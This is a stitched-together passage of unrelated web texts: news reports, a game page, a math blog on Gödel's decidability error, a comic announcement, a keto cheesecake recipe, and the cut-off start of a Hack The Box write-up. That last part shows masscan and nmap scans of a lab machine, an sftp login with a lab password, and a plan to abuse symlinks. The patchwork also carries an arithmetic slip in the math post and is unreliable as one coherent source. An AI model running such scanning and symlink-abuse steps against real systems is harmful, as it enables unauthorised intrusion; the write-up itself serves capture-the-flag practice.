of Labor on her how to vote, given she is so critical of their policies on climate change and refugees. She said it was only a “guide” and she believed Wentworth voters could make up their own minds.

Greece: Idomeni Refugee Site Transfers In recent months, Idomeni, Greece, has been a tent city of over 10,000 men, women and children, refugees and migrants. Sanitary conditions were poor. There were scrambles for food, water and firewood. Most people slept in tents, but many slept in the open. Greek authorities started an operation on Tuesday to move the remaining 8,000 into new Government sites. UNHCR monitored the process.

WARNING: Screenshake. A lot of it. If the web player gives you problems or input delay then try the Windows or Mac download. Android version now available! A ridiculous twist of the arcade classic "Pong" based on the game jam theme "double". Use the W/S and Up/Down keys to play, or use the left stick on two controllers. If controllers don't work, try refreshing the page with both controllers connected. This game was made in several hours for NJ Games++ 2016 and was awarded best use of theme. It was also made in March 2016 for #1GAM. Follow me on Twitter if you want to see a new game every month! Pong is copyright Atari Inc.

Major screwups in mathematics: example 1 Last month I asked for examples of major screwups in mathematics. Specifically, I was looking for cases in which some statement S was considered to be proved, and later turned out to be false. I could not think of any examples myself. Readers suggested several examples, and I got lucky and turned up one on my own. Some of the examples were rather obscure technical matters, where Professor Snorfus publishes in Acta Quandalia that all partially uniform k-quandles have the Cosell property, and this goes unchallenged for several years before one of the other three experts in partially uniform quandle theory notices that actually this is only true for Nemontovian k-quandles. I'm not going to report on matters that sounded like that to me, although I realize that I'm running the risk that all the examples that I do report will sound that way to most of the audience. But I'm going to give it a try. General remarks I would like to make some general remarks first, but I don't quite know yet what they are. Two readers independently suggested that I should read Proofs and Refutations by Imre Lakatos, and raised a number of interesting points that I'm sure I'd like to expand on, except that I haven't read the book. Both copies are checked out of the Penn library, which is a good sign, and the interlibrary loan copy I ordered won't be here for several days. Still, I can relate a partial secondhand understanding of the ideas, which seem worth repeating. Whether a result is "correct" may be largely a matter of definition. Consider Lakatos' principal example, Euler's theorem about polyhedra: Let F, E, and V be the number of faces, edges, and vertices in a polyhedron. Then F - E + V = 2. For example, the cube has (F, E, V) = (6, 12, 8), and 6 - 12 + 8 = 2. Sometime later, someone observed that Euler's theorem was false for polyhedra with holes in them. For example, consider the object shown at right. It has (F, E, V) = (9, 18, 9), giving F - E + V = 9 - 18 - 9 = 0. Can we say that Euler was wrong? Not really. The question hinges on the definition of "polyhedron". Euler's theorem is proved for "polyhedra", but we can see from the example above that it only holds for "simply-connected polyhedra". If Euler proved his theorem at a time when "polyhedra" was implicitly meant "simply-connected", and the generally-understood definition changed out from under him, we can't hold that against Euler. In fact, the failure of Euler's theorem for the object above suggests that maybe we shouldn't consider it to be a polyhedron, that it is somehow rather different from a polyhedron in at least one important way. So the theorem drives the definition, instead of the other way around. Okay, enough introductory remarks. My first example is unquestionably a genuine error, and from a first-class mathematician. Mathematical background Some terminology first. A "formula" is just that, for example something like this: $$\displaylines{ ((\forall a.\lnot R(a,a)) \wedge\cr (\forall b\forall c.R(b,c)\to\lnot R(c,b))\wedge\cr (\forall d\forall e\forall f.(R(d,e)\wedge R(e,f)\to R(d,f))) \to\cr (\forall x\exists y.R(y,x)) }$$ It may contain a bunch of quantified variables (a, b, c, etc.), relations (like R), and logical connectives like ∧. A formula might also include functions and constants (which I didn't) or equality symbols (there are none here). One can ask whether the formula is true (or, in the jargon, "valid"), which means that it must hold regardless of how one chooses the set S from which the values of the variables will be drawn, and regardless of the meanings assigned to the relation symbols (and to the functions and constants, if there are any). The following formula, although not very interesting, is valid: $$ \forall a\exists b.(P(a)\wedge P(b))\to P(a) $$ This is true regardless of the meaning we ascribe to P, and regardless of the set from which a and b are required to be drawn. The longer formula above, which requires that R be a linear order, and then that the linear order R have no minimal element, is not universally valid, but it is valid for some interpretations of R and some sets S from which a...f, x, and y may be drawn. Specifically, it is true if one takes S to be the set of integers and R(x, y) to mean x < y. Such formulas, which are true for some interpretations but not for all, are called "satisfiable". Obviously, valid formulas are satisfiable, because satisfiable formulas are true under some interpretations, but valid formulas are true under all interpretations. Gödel famously showed that it is an undecidable problem to determine whether a given formula of arithmetic is satisfiable. That is, there is no method which, given any formula, is guaranteed to tell you correctly whether or not there is some interpretation in which the formula is true. But one can limit the form of the allowable formulas to make the problem easier. To take an extreme example, just to illustrate the point, consider the set of formulas of the form: ∃a∃b... ((a=0)∨(a=1))∧((b=0)∨(b=1))∧...∧R(a,b,...) for some number of variables. Since the formula itself requires that a, b, etc. are each either 0 or 1, all one needs to do to decide whether the formula is satisfiable is to try every possible assignment of 0 and 1 to the n variables and see whether R(a,b,...) is true in any of the 2n resulting cases. If so, the formula is satisfiable, if not then not. Kurt Gödel, 1933 One would like to prove decidability for a larger and more general class of formulas than the rather silly one I just described. How big can the class of formulas be and yet be decidable? It turns out that one need only consider formulas where all the quantifiers are at the front, because there is a simple method for moving quantifiers to the front of a formula from anywhere inside. So historically, attention has been focused on formulas in this form. One fascinating result concerns the class of formulas called [∃*∀2∃*, all, (0)]. These are the formulas that begin with ∃a∃b...∃m∀n∀p∃q...∃z, with exactly two ∀ quantifiers, with no intervening ∃s. These formulas may contain arbitrary relations amongst the variables, but no functions or constants, and no equality symbol. [∃*∀2∃*, all, (0)] is decidable: there is a method which takes any formula in this form and decides whether it is satisfiable. But if you allow three ∀ quantifiers (or two with an ∃ in between) then the set of formulas is no longer decidable. Isn't that freaky? The decidability of the class [∃*∀2∃*, all, (0)] was shown by none other than Gödel, in 1933. However, in the last sentence of his paper, Gödel added that the same was true even if the formulas were also permitted to include equality: In conclusion, I would still like to remark that Theorem I can also be proved, by the same method, for formulas that contain the identity sign. Oops This was believed to be true for more than thirty years, and the result was used by other mathematicians to prove other results. But in the mid-1960s, Stål Aanderaa showed that Gödel's proof would not actually work if the formulas contained equality, and in 1983, Warren D. Goldfarb proved that Gödel had been mistaken, and the satisfiability of formulas in the larger class was not decidable. Sources Gödel's original 1933 paper is Zum Entscheidungsproblem des logischen Funktionenkalküls ( On the decision problem for the functional calculus of logic ) which can be found on pages 306–327 of volume I of his Collected Works . (Oxford University Press, 1986.) There is an introductory note by Goldfarb on pages 226–231, of which pages 229–231 address Gödel's error specifically. I originally heard the story from Val Tannen, and then found it recounted on page 188 of The Classical Decision Problem , by Egon Boerger, Erich Grädel, and Yuri Gurevich. But then blog reader Jeffrey Kegler found the Goldfarb note, of which the Boerger-Grädel-Gurevich account appears to be a summary. Thanks very much to everyone who contributed, and especially to M. Kegler. (I remind readers who have temporarily forgotten, that Acta Quandalia is the quarterly journal of the Royal Uzbek Academy of Semi-Integrable Quandle Theory. Professor Snorfus, you will no doubt recall, won the that august institution's prestigious Utkur Prize in 1974.) [ Addendum 20080206: Another article in this series. ] [ Addendum 20200206: A serious mistake by Henri Lebesgue. ] [Other articles in category /math] permanent link

india Updated: Jul 22, 2019 07:20 IST Several parts of Delhi and the National Capital Region (NCR) received on Sunday the heaviest spell of rain yet for this monsoon season, leading to localised flooding and traffic jams that could have been worse had it been a weekday. The Safdarjung Observatory, which represents Delhi’s weather, recorded 50.2 mm rainfall between 8.30am and 8.30pm – a level categorised as ‘moderate’. The Aya Nagar weather station had the highest reading at 106 mm. “The monsoon trough is near Haryana and Punjab, which is close to Delhi. That is triggering the showers. Over the next two days there could be light rain and thunder activity. There could be another spell of ‘moderate’ to ‘heavy’ showers between July 24 and 27,” said Kuldeep Srivastava, head, regional weather forecasting centre (RWFC), India Meteorological Department. Previously, the day with the most rain was on July 15, when Safdarjung recorded 28.8mm. In all, the month of July – the first of the monsoon months for Delhi – has recorded 102.7mm, which is 20% lower than the normal for the period. Overall, the monsoon is 41% deficient in the national capital. The maximum temperature was 36.5°C, two notches below the season’s average while minimum temperature settled at 26.8°C, a notch below normal. Delhi traffic police and the PWD department said that at least 20 calls regarding waterlogging were received at the control room within an hour after it started raining. Some of the places where waterlogging took place include Tilak Bridge near ITO W-point, Madhuban Chowk on Outer Ring Road, Punjabi Bagh roundabout, Wazirpur, Rail underbridge near Bhairon Marg trisection on the Ring Road, Chatta Rail Bridge near Red Fort, Hanuman Mandir near Kashmere Gate, Rani Khera, and Katwaria Sarai, near Chirag Dilli flyover.

A reputed gangbanger who cornered and then shot an undercover FBI agent has been found guilty by a federal jury in Brooklyn. The panel deliberated over three days before convicting Ronell Watson Wednesday on charges of attempted murder of a law enforcement officer, assault and the use of a firearm. FBI Special Agent Christopher Harper missed the reading of the verdict by mere minutes, but pumped his fists and hugged a court officer when told by The Post that Watson had been found guilty on all counts. He declined to comment on the verdict. Watson’s family also declined to speak to reporters as they left court. In a rare move, the US attorney for the Eastern District of New York, Richard Donoghue, prosecuted the case himself, arguing that the 31-year-old reputed Crips member intended to kill Harper as he sat in a parked car in front of Watson’s Canarsie home while working surveillance. Harper was shot in the back before returning fire, catching Watson in the hand. Both men survived. Watson faces up to life behind bars when sentenced. “What was said in court was more than enough,” one juror who declined to give her name said as she left the courthouse. Other jurors declined to comment. Defense attorney Michelle Gelernt of the Federal Defenders did not immediately return a message.

Proposed new laws to "limit the impact" of UK-wide welfare reforms in Scotland have been passed by MSPs. A special Holyrood committee said there were "grave concerns" over Westminster plans for a new universal credit. The Scottish Parliament cannot stop Westminster changing the welfare benefits system. But Holyrood moved to pass new legislation to ensure people still have access to certain benefits, after MSPs protested against the UK reforms. The Scottish Parliament approved the Welfare Reform (further provision) (Scotland) Bill unanimously. Single credit The UK government wants to replace child tax credit, working tax credit, housing benefit, income support and others, in favour of a single, universal credit from 2013. The coalition says the changes would save £7bn in welfare spending and encourage people currently on benefits to go out and find a job. But Labour MSPs and the Scottish government said many in need of vital support would be worse off. This bill is not one which either the government or the opposition would wish to be necessary Drew Smith, Labour Deputy First Minister Nicola Sturgeon told Holyrood: "The only way we can ensure Scotland is no longer subject to the kinds of reforms that David Cameron was setting out earlier this week, the only way to protect Scotland from that is to make sure powers for these matters pass to this parliament." Labour's Drew Smith added: "This bill is not one which either the government or the opposition would wish to be necessary, but necessary it is and, when passed, it will mark the beginning of a new phase of considerations where we should look for opportunities to improve what we do, rather than just shore up our own parts of the system in the face of cuts coming from elsewhere." Alex Johnstone, for the Tories, said his party had agreed to support the bill but expressed "disappointment" that it had become necessary to do so. "We will continue to take the same position on welfare reform that we have had for a number of years," he stressed. Last December, the Scottish Parliament took the unprecedented step of voting against a Westminster "consent" motion, under which the UK government wanted Holyrood's permission to change the law, so its reforms would fit the Scottish system. MSPs decided to make the necessary legal changes themselves, and the Scottish government brought forward its own legislation to ensure policies tied to the UK benefits system, like free school meals and disabled parking, continue. MSPs support some aspects of the UK Welfare Reform Bill, including changes to data sharing, industrial injuries benefits and a new commission on social mobility and child poverty.

NEW YORK // Egyptian president Abdel Fattah El Sisi has had a good week. Newly proposed US foreign aid legislation free of political restrictions and a trip to Europe that has paid sizeable economic and diplomatic dividends have made clear that – for now at least – the momentum for repairing frayed ties with Cairo in the wake of Middle East chaos is showing no signs of slowing down. After refusing for months to invite Mr El Sisi to Germany on a state visit, chancellor Angela Merkel held talks with the Egyptian president in Berlin on Tuesday. While she said there are differences over Egypt’s domestic policies, such as the spate of death sentences for political opponents, the emphasis was not on criticism but common core security interests. “I think that if one wants to be partners and solve complex issues, we have to be able talk about these things ... this doesn’t mean that we can’t work very, very closely on other issues,” Ms Merkel said, capturing the international sentiment. The German leader’s previous position may have been tempered by the economic opportunities that Egypt offers German firms. A central aspect of Mr El Sisi’s European trip has been to promote economic ties, and his delegation also held meetings with representatives of major German corporations. It was announced that Egypt had awarded Siemens a record 8 billion euro (Dh32.7bn) contract to supply gas and steam power to significantly increase Egypt’s electricity generation. On Friday, Mr El Sisi held bilateral talks with the Hungarian prime minister, Viktor Mihaly Orban, in Budapest, to discuss economic cooperation and counter-terrorism and security. Egypt is key for a stable Middle East, and “since distances in the modern world have shrunk ... there is no stability in Europe without a stable Egypt,” Mr Orban said. In Washington, US relations with Egypt had hit a low in 2013 after Mr El Sisi, then a military commander, overthrew Egypt’s conservative president, Mohammed Morsi, after massive protests against his rule grew. US president Barack Obama suspended the annual $1.3bn (Dh4.8bn) in military aid that the United States has given to Egypt since it signed a peace deal with Israel in 1979. Many within the Obama administration believed, as they still do, that the stifling of political dissent and the crackdown on the Muslim Brotherhood will eventually lead to a new generation of radicalised Egyptians who will pose a security threat to the US, Egypt and the region. The freeze in the aid deeply angered Egyptian officials who were infuriated that, as they saw it, the administration withheld crucial equipment while they fought extremists in the Sinai Peninsula and on the border with Libya. But since the rampage of ISIL extremists across the region over the past year, the White House has steadily lifted the holds on aid out of security concerns. The only hold that has not been lifted was a democracy restriction that required the secretary of state to certify to congress that Egypt was taking steps towards full democracy, including by holding parliamentary elections. On June 2, however, the US congress moved a step closer to fully returning to the status quo aid relationship, with a House subcommittee introducing a draft of the 2016 foreign aid budget, worth $1.5bn overall (including military and non-military aid), which is free of any such reform conditions. The new bill would only require that the administration certifies that Cairo is sustaining its strategic relationship with the US and abiding by its peace treaty with Israel. It would also require the secretary of state to issue a classified report every 90 days that Egypt is taking steps to protect human rights and hold elections, but there are no conditions tied to this. However, the draft budget is currently only the subcommittee version and has yet to go through the full foreign relations committee. There will also be a version submitted over the summer by the Senate, where there are a number of powerful critics of Egypt. As a result, a final congressional vote on the budget is unlikely to happen before December. Perhaps in a concession to critics of Egypt in congress and the administration, the bill allows for $150 million of the total aid budget to go to non-governmental groups and democracy programmes in the form of economic support funds, and that Cairo would only receive money for budget support if the administration certifies it is stabilising its economy and implementing “market-based economic reforms”. “Egypt is critical to the stability of the Middle East. I respect that president Sisi has called on religious leaders to reject radical terrorism, and Egypt must continue to build a strong diverse democracy. And we must continue to help them create jobs and grow their economy,” Dutch Ruppersberger, a Democrat on the foreign aid subcommittee, said in a statement to The National. “That said, we need to ensure we protect our other ally, Israel, and work through some of the outstanding issues regarding foreign aid restrictions.” Some in the new Republican-dominated congress, in both parties, especially the House, have been vocally supportive of Mr El Sisi and a number of delegations have visited Cairo for talks with the Egyptian president. “The security issue is what made people in congress who otherwise would not have cared much to get on board with the idea that this is not the time for us to put on any types of restrictions” on aid, said Mokhtar Awad, an analyst of US-Egypt relations at the Center for American Progress think tank in Washington. At times, the US administration has had a contradictory stance on Egypt, but analysts doubted whether it would push for the restrictions to be reinserted. “There are people in the administration who are very frustrated with the actions of the Egyptian government,” said Stephen McInerney, executive director of the Project on Middle East Democracy in Washington. In its last report explaining its refusal to grant a democracy certification to Egypt, the US state department was scathing in its assessment of the El Sisi government. But the public disapproval has been muted, and the tone become more positive, though Egypt policy as a whole is not near the top of the US’ list of priorities in the region. “For the most part they (the Obama administration) don’t feel like the US has the ability to influence the behaviour of the Egyptian government and there is not much appetite to take any real tough stands,” Mr McInerney added. When Mr Obama announced his intention to fully resume military aid in late March, he also said that the nature of the aid would shift away from big-ticket items and weapons that the Egyptians wanted, to things the US feels are best suited to address Egypt’s security challenges. Aid would be channelled into a handful of categories, counterterrorism, counter-insurgency in Sinai, maritime security and border protection, Mr Obama said at the time. The credit system that allowed Egypt to buy what they wanted long in advance of receiving aid would also be abolished, giving the US yet more control. So far, Mr Awad said, there have been few concrete steps towards this recalibration and clarity on what the administration wants from Egypt in return for the full resumption of aid. There are real concerns in the administration about Egypt’s strategy for dealing with extremism, but the US has not made clear how it will tie its aid to a more effective strategy by Cairo. “At a policy level the administration needs to be able to clearly articulate and tie its [aid] commitments to security deliverables from Cairo,” Mr Awad said. “Without that they won’t bring many dividends to the US.” tkhan@thenational.ae

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¡Atención! Este artículo tiene más de un año y puede contener datos desactualizados 06 Septiembre, 2019 15:05 pm | Tiempo de lectura: 1 minuto Atención! Este artículo tiene más de un año y puede contener datos desactualizados 06 Septiembre, 2019 15:05 pm | Tiempo de lectura: 1 minuto Si tenés sólo unos segundos, leé estas líneas: El porcentaje destinado a la Seguridad Social es la parte más importante del presupuesto nacional. Pero la mayoría son jubilaciones y pensiones, no programas sociales. La asistencia social, que incluye diversos tipos de planes y becas, representa alrededor del 5% del presupuesto. El senador y candidato a vicepresidente por Juntos por el Cambio, Miguel Ángel Pichetto, criticó las protestas de las organizaciones sociales en una entrevista con radio La Red y señaló que “es una de las causas del endeudamiento público, mantener el sistema de seguridad social en la Argentina. 65% del total del presupuesto está comprendido ahí: en planes, piqueteros, cooperativas de la pobreza, cartoneros, multinacionales del cartón, en fin”. La Seguridad Social en la Argentina representa efectivamente un porcentaje alto del presupuesto nacional, es el 49% (aunque alcanza el 60% si no se incluye lo que está previsto pagar de deuda pública ese año), pero la gran mayoría se destina a las jubilaciones y pensiones, no a los programas sociales, como sugirió Pichetto. Las jubilaciones representan el 34% del presupuesto y son el gasto más importante del gobierno nacional. Para 2019 está planificado un gasto de $1,4 billones en prestaciones previsionales. Los diferentes programas sociales, en cambio, suponen montos muchos menores. La promoción y asistencia social representa el 1,82% del presupuesto. Esto incluye a los programas que manejan el Ministerio de Salud y Desarrollo Social, la Agencia Nacional de Discapacidad y el Instituto Nacional de Asociativismo y Economía Social, entre otros organismos. Si a eso se suma el presupuesto destinado a la Asignación Universal por Hijo, que no está incluida en el ítem ya que depende de Anses, el total llega a 4,7% del presupuesto, muy por debajo del monto señalado por el senador y candidato. “La parte más importante del presupuesto es el gasto público social, que incluye educación, salud, asistencia social, y lo más fuerte es la parte de seguridad social, específicamente lo que tiene que ver con jubilaciones y pensiones”, explicó a Chequeado Rafael Flores, especialista de la Asociación Argentina de Presupuesto (ASAP). El gasto público social creció como parte del presupuesto en 2019 en relación a 2018, en parte porque varios de estos gastos, como las jubilaciones, están fijados por ley y no se pueden modificar, por lo que los gastos se mantienen a pesar de que el presupuesto general se achicó en términos reales, por lo que su participación aumentó (como se explica en esta nota). Lo mismo pasó contra 2015: el gasto social representa más en proporción al presupuesto, porque el gasto total cayó. Temas

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US-China trade war truce: Europe and Asia stock markets higher as Trump says China will halt new car tariffs The winners of the US-China trade war so far China’s exports to US grow despite US tariffs China is working to exempt some U.S. agricultural products China’s Customs Tariff Commission of the State Council said Friday that the country is working on tax exemptions on part of the soybeans and pork imported from the United States, a move that could take some heat out of talks aimed at agreeing on a truce in the trade war. The committee will apply a range of goods to be excluded from tariff countermeasures against the U.S. Section 301 measure, it said. In September, Beijing announced it would exclude some soybeans and pork products from its newest tariffs. According to domestic needs, Chinese enterprises import a certain amount of goods from the United States through market-based procurement. The enterprises are expected to purchase goods eligible for an exemption based on independent negotiation, import as they see fit, and bear the related profits or losses, the commission said. China was the biggest market for US producers before Beijing retaliated against US tariffs. In 2018, exports of soybeans to China fell to $3.1 billion, down from $12.2 billion the year before. If you like this article, please help us by making a donation so that we can continue our work. Please help keep us independent. Pork producers are also concerned that they are missing out on a growing Chinese market, where demand has stimulated because of an outbreak of African swine fever that has ravaged China’s pig herds.

Uncomfortable Situation Seal talking to a new friend about cheating ex turns out to be one of the girls he cheated with

The chart-topping team of Joss Whedon & John Cassaday are teaming up once again to celebrate Captain America's 75th anniversary, ComicBook.com has confirmed with Marvel. Appearing in Captain America: Sam Wilson #7, the two will tell an all-new story celebrating the legacy and legend of Captain America. The issue will also feature a main story from series creative team Nick Spencer & Daniel Acuna, and another backup by Greg Rucka & Mike Perkins. Whedon & Cassaday first hit the scene together in 2004 with Astonishing X-Men which was a runaway train of success both critically and in sales. The two brought about the return of Colossus and even had an aspect of their story adapted in X-Men: The Last Stand. Whedon & Cassaday also introduced many new X-Men characters to the Marvel Universe including, Blindfold & Armor. Cassaday is no stranger to Captain America, having drawn an issue of Fallen Son: The Death Of Captain America and a Captain America limited series with John Ney Riber. Captain America: Sam Wilson #7 has a final order cutoff of March 7th and will hit comic shops everywhere on March 30th. So what do you think ComicBook.com readers? Are you excited to see Joss Whedon & John Cassaday together again? Let us know in the comments below!

Cheesecake recipes are a dime a dozen on the keto diet. They’re the perfect low carb, high fat food – being comprised primarily of delicious cream cheese – so they’re a common go-to for a keto-friendly dessert. However, most of the cheesecake recipes I’ve tried have seemed a little… off. They had a funky texture or you could taste the fake sugars in them. And let’s not even get started on no-bake or jello cheesecakes… I am a cheesecake connoisseur over here, and if you’re going to take the time to make a cheesecake, it needs to be a big and dense New York-style concoction. Growing up, I was inundated with desserts in my family. My Gran-Gran, Meemaw, mom, and a veritable slew of aunts and great-aunts can cook almost anything. But the one thing that no one in my family had perfected was cheesecake. So a few years ago, when my Mom asked for one for her birthday, I set out to become the lone cheesecake cook. Let’s just say we ate a lot of cheesecake in the week leading up to her birthday, and I hadn’t really felt like making it since. But I had totally perfected it. And so last week, when I began to think of what I could bake to take to our end-of-the-project bash at work and/or Easter with the family, my thoughts returned to that perfect, New York-style cheesecake. I dug up that original recipe and realized that I could alter it quite easily to fit low carb parameters. But would it taste the same, and would it have that same dense and creamy texture? Spoiler alert: it does. Allow me to go ahead and apologize for the pictures. I may have gotten a little… overzealous… with the whipped cream (as my cousin said, “playing Cheesecake Factory is my favorite game!”). It was also dark and dreary and the lighting is meh. But whatever. Just hone in on that sweet, cold and creamy cake paired with those delectable, juicy and ripe red strawberries… and the mountains of whipped cream. But I digress. Ingredients For the crust, 1/2c almond flour 1/2c golden flaxmeal 1/2c pecan pieces 4T coconut oil cinnamon to taste Splenda or sweetener to taste For the filling, 4 8oz packages of cream cheese 1c sour cream 4 eggs 1c Splenda, or equivalent sweetener of your choice 3/4c heavy cream 1/4c coconut flour 1T vanilla extract 3T sugarfree Torani syrup; this time I used French Vanilla (and next time I’m totally going Salted Caramel) First things first, let’s talk necessary kitchen equipment. For this cheesecake, you are going to need a springform pan. That’s a pan that has a removable bottom, as pictured above. Think of the springform pan as more of a mold than a traditional cake pan. You cook the cheesecake in it, then remove it from around the cheesecake, hopefully without cracking the top. I like to lay a piece of parchment paper over the bottom part of the pan, then attach the ring around it so the paper peeks out around the sides. Then, when my cheesecake is done, I can transfer it easily to a serving plate while removing the side and bottom for easy cleanup. Preheat your oven to 400. Combine your pecan pieces, almond flour, flaxmeal, and coconut oil. Add sweetener and cinnamon to taste. If you add those to the crust, it flavors it like graham crackers, a nice nod to the more traditional cheesecake crust. You may need to zap this concoction in the microwave if your coconut oil is solidified. The house I live in maintains a temperature roughly equivalent to hell, so I don’t have to worry about that. Press the mixture firmly into the bottom of the springform pan. If you used parchment paper, you do not need to grease the bottom of the pan. If you didn’t, butter that shit up. Bake the crust until it turns a golden brown. Mine ranges from 5-8 minutes. I used to like to just use Caveman Keto’s crust, but I decided to try to mix in some flaxmeal and I actually like this version better. It’s more firm and less crumbly, which I prefer. It holds together better. Oh, and yeah. While that is baking away, mix everything else together in your mixer. Or beat it with a mixer. Somehow incorporate all the ingredients into a flawless, creamy goodness. Then when the crust is done, grease up the sides of the springform pan and pour your mixture into it. Smooth the filling out as best you can. I like to tap the whole pan lightly on the counter to help it settle and to also help release air bubbles, which are a potential culprit of cracks. For some reason I did NOT tap this pan, and you can definitely tell in the end results. I wish I had pictures of the first cheesecake I made – it was gorgeous and crack-free. Ahh, you’ll just have to take my word for it. So let’s talk some more about cracks. Cheesecakes are very sensitive, and if you don’t bake them very very carefully, they can develop ugly cracks across the top. It’s unattractive, and it’s the goal of all cheesecake baking enthusiasts to produce a flawless cake. It’s like, your status symbol, or something. The prime culprit for cracks is temperature fluctuations, and there are a few ways to combat this. Never bake your cheesecake hotter than 350. Low and slow is the way to go. In fact, since you just baked the crust at 400, leave the oven door open until it cools down. You don’t want to stick it into a too-hot oven. Use a water bath. You can literally sit the springform pan in a pan of water. For these cheesecakes, I just placed a cake pan of water on the lower oven rack to steam and keep the oven moist. Don’t over-beat the filling, because – as I mentioned before – too much air can cause cracking. I’m not going to lie, I just let my KitchenAid run, so I like to let my filling sit in the springform pan for a good 10 minutes or so to settle some, before I tap it to let out even more air. Don’t open the oven door while it’s cooking. The sudden rush of cool air can cause cracks. Cut off the cheesecake at 50 minutes, and let it sit in the oven with the door shut for some time. Maybe an hour later, crack the oven door. Then a half hour after that, open it fully. And then remove the cheesecake, and run a knife along the edges of the pan to make sure that it’s not stuck (although it shouldn’t be if you greased it properly). The cheesecake shrinks as it cools, and if it’s glommed onto the side of the pan, it will surely crack as it tries to pull away. So again, bake your cheesecake at 350 for 50 minutes. If it doesn’t look quite done, it’s probably not – but it will continue to bake residually after you turn off the oven and begin the cooling-down process. It should be nicely browned by that point, though the center may look like it’s not quite set. Trust me, after you get through with waiting for it to cool enough to handle safely, you’ll have a beauty waiting on you. Or you might have something that looks like that. Yeah, so I didn’t follow my own advice, and cheesecake numero dos – the one I shot for this blog – turned out kind of fugly. Ah, well. It was still delicious. You also have the luxury of disguising the ugliness by whipping up a fruit topping or covering it with a dark chocolate ganache. Since I served this one to my family at Easter, we just sliced it plain and topped it with strawberries. Oh, and before I forget to tell you – stick this baby in the refrigerator and let it sit for several hours before you eat it. We had a slice of the first one after a few hours, and it was okay. But 12 hours later, it was a rockstar. For this second cake, I just popped it in the fridge overnight and allowed it to set up properly before Easter dinner. Although you’ll want to chow down immediately, try to wait until it gets properly cold :) It’s totally worth it! And let me tell you, even though Canadian Bacon and I are the only ketopians in the family, the cheesecake was a decisive hit. No one could tell that it was low carb. It didn’t taste funny from the combo of Splenda and Torani. It was flavored throughout with a delicate vanilla, and paired wonderfully with the sweet berries and whipped cream. It was tall and thick and reminiscent of the pieces of plain cheesecake you get at The Cheesecake Factory. Forreals. My Fitness Pal has changed the way you input recipes, so I can’t post my typical ingredient log picture below. But at 8 servings, this cheesecake has 439 calories, 8g net carbs, 11g protein, and 38g fat per slice. It’s very dense and creamy and filling. Hell, it’s so low carb that my diabetic grandfather’s bloodsugar crashed a couple of hours after eating a piece… seriously! It’s so good that my cats tried to eat it while I was taking photos of it. You’re not fooling anyone, Storm. Leave a comment with your thoughts! I read every comment and I love talking to this community. Make sure you Like my Facebook page so you can see when I do Live cooking videos and follow my Instagram to view my daily meals. If one of my recipes looks good to you, hit the pin button to share it on Pinterest! And don’t forget to subscribe to my YouTube channel for fun product reviews, vlogs and more. Print Pin New York-Style Keto Cheesecake Servings 8 Ingredients 8oz package cream cheese 1 cup sour cream 4 eggs 1 cup splenda (or sweetener of your choice) 3/4 cup heavy cream 1/2 cup coconut flour 1 tbsp vanilla extract 3 tbsp sugarfree Torani Syrup This time I used French Vanilla Instructions Preheat your oven to 400. Combine your pecan pieces, almond flour, flaxmeal, and coconut oil. Add sweetener and cinnamon to taste. You may need to microwave this concoction if your coconut oil is solidified Press the mixture firmly into the bottom of the springform pan. If you used parchment paper, you do not need to grease the bottom of the pan. If you didn’t, butter that up (SPRING FORM PAN RECOMMENDED) Bake the crust until it turns a golden brown. Mine ranges from 5-8 minutes. While that is baking away, mix everything else together in your mixer. Or beat it with a mixer. Somehow incorporate all the ingredients into a flawless, creamy goodness. Then when the crust is done, grease up the sides of the springform pan and pour your mixture into it. Smooth the filling out as best you can. I like to tap the whole pan lightly on the counter to help it settle and to also help release air bubbles, which are a potential culprit of cracks Bake your cheesecake at 350 for 50 minutes. If it doesn’t look quite done, it’s probably not – but it will continue to bake residually after you turn off the oven and begin the cooling-down process. Tip: Stick this baby in the refrigerator and let it sit for several hours before you eat it. (As a disclaimer, the product links are linked to my Amazon Affiliate account. I’ve never used this before but I’m going to give it a shot and see how well it works. In theory, I should get a small kickback if you purchase the product through that link. Product costs are not increased for you, just Amazon gives me a tiny percent of the profit for sending you their way. Maybe I’ll get rich and can retire from this life of crime.)

Aug 31, 2019 | 24 minutes read Tags: hack-the-box, ssh tunneling, tunnels, sftp, php, apt, apt-get, man-in-the-middle, mitm, unrestricted-file-upload, sudo, linux, source-code-analysis My hat goes off to onetwoseven’s creator jkr; this box was top-notch. The flow of the box was seamless. Enumeration felt like a natural progression and the breadcrumbs were plentiful and placed in logical locations (often in more than one spot to facilitate multiple avenues of approach). I was really impressed with his first box submission. His second box Writeup is still active and not as difficult, but still high quality. At the time of this writing, onetwoseven is about to be replaced by another jkr box: zetta. I’m definitely looking forward to it! Scans masscan As usual, we start with a masscan followed by a targeted nmap . masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.133.all 10.10.10.133 ══════════════════════════════════════════════════════════════════════════════════════════════ open tcp 22 10.10.10.133 1562031220 open tcp 80 10.10.10.133 1562031259 nmap nmap -p 22,80 -sC -sV -oA nmap.10.10.10.133 10.10.10.133 ════════════════════════════════════════════════════════ PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA) | 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA) |_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Page moved. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Initial Access Normally, this is where we would perform forced browsing or some form of automated web scan. However, there is rate-limiting, so we need to manually browse the site. There’s a portion of the site that tells us as much, though most folks found out the hard way. While browsing, we come across http://10.10.10.133/signup.php and see that it provides us credentials for sftp . We also see the use of a domain name onetwoseven.htb . Before moving on, let’s update our local DNS entry for the box in /etc/hosts . /etc/hosts ══════════ -------------8<------------- 10.10.10.133 onetwoseven.htb -------------8<------------- With that done, let’s check out what we have access to on the remote filesystem. We’ll start by accessing the sftp server as our pre-generated user. Because uploading and executing a web shell does not work, let’s check out what commands are available to us with the help command. sftp ots-yZjFkZWY@onetwoseven.htb ots-yZjFkZWY@onetwoseven.htb's password: 122f1def Connected to ots-yZjFkZWY@onetwoseven.htb. sftp> help -------------8<------------- lmkdir path Create local directory ln [-s] oldpath newpath Link remote file (-s for symlink) lpwd Print local working directory ls [-1afhlnrSt] [path] Display remote directory listing -------------8<-------------ln - symlink oldpath newpath Symlink remote file -------------8<------------- Creating a symlink sounds like it has potential and the public_html folder is writable; 